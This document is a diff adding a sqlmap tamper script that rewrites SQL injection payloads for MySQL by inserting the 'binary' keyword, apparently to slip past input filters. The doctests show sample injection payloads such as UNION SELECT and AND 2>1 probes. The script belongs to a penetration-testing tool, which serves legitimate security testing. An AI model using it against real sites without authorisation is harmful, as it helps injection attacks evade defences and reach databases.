|
| 1 | +#!/usr/bin/env python |
| 2 | + |
| 3 | +""" |
| 4 | +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) |
| 5 | +See the file 'LICENSE' for copying permission |
| 6 | +""" |
| 7 | + |
| 8 | +import re |
| 9 | + |
| 10 | +from lib.core.enums import PRIORITY |
| 11 | + |
| 12 | +__priority__ = PRIORITY.HIGHEST |
| 13 | + |
| 14 | +def dependencies(): |
| 15 | + pass |
| 16 | + |
| 17 | +def tamper(payload, **kwargs): |
| 18 | + """ |
| 19 | + Injects keyword binary where possible |
| 20 | +
|
| 21 | + Requirement: |
| 22 | + * MySQL |
| 23 | +
|
| 24 | + >>> tamper('1 UNION ALL SELECT NULL, NULL, NULL') |
| 25 | + '1 UNION ALL SELECT binary NULL, binary NULL, binary NULL' |
| 26 | + >>> tamper('1 AND 2>1') |
| 27 | + '1 AND binary 2>binary 1' |
| 28 | + >>> tamper('CASE WHEN (1=1) THEN 1 ELSE 0x28 END') |
| 29 | + 'CASE WHEN (binary 1=binary 1) THEN binary 1 ELSE binary 0x28 END' |
| 30 | + """ |
| 31 | + |
| 32 | + retVal = payload |
| 33 | + |
| 34 | + if payload: |
| 35 | + retVal = re.sub(r"\bNULL\b", "binary NULL", retVal) |
| 36 | + retVal = re.sub(r"\b(THEN\s+)(\d+|0x[0-9a-f]+)(\s+ELSE\s+)(\d+|0x[0-9a-f]+)", r"\g<1>binary \g<2>\g<3>binary \g<4>", retVal) |
| 37 | + retVal = re.sub(r"(\d+\s*[>=]\s*)(\d+)", r"binary \g<1>binary \g<2>", retVal) |
| 38 | + retVal = re.sub(r"\b((AND|OR)\s*)(\d+)", r"\g<1>binary \g<3>", retVal) |
| 39 | + retVal = re.sub(r"([>=]\s*)(\d+)", r"\g<1>binary \g<2>", retVal) |
| 40 | + retVal = re.sub(r"\b(0x[0-9a-f]+)", r"binary \g<1>", retVal) |
| 41 | + retVal = re.sub(r"(\s+binary)+", r"\g<1>", retVal) |
| 42 | + |
| 43 | + return retVal |
0 commit comments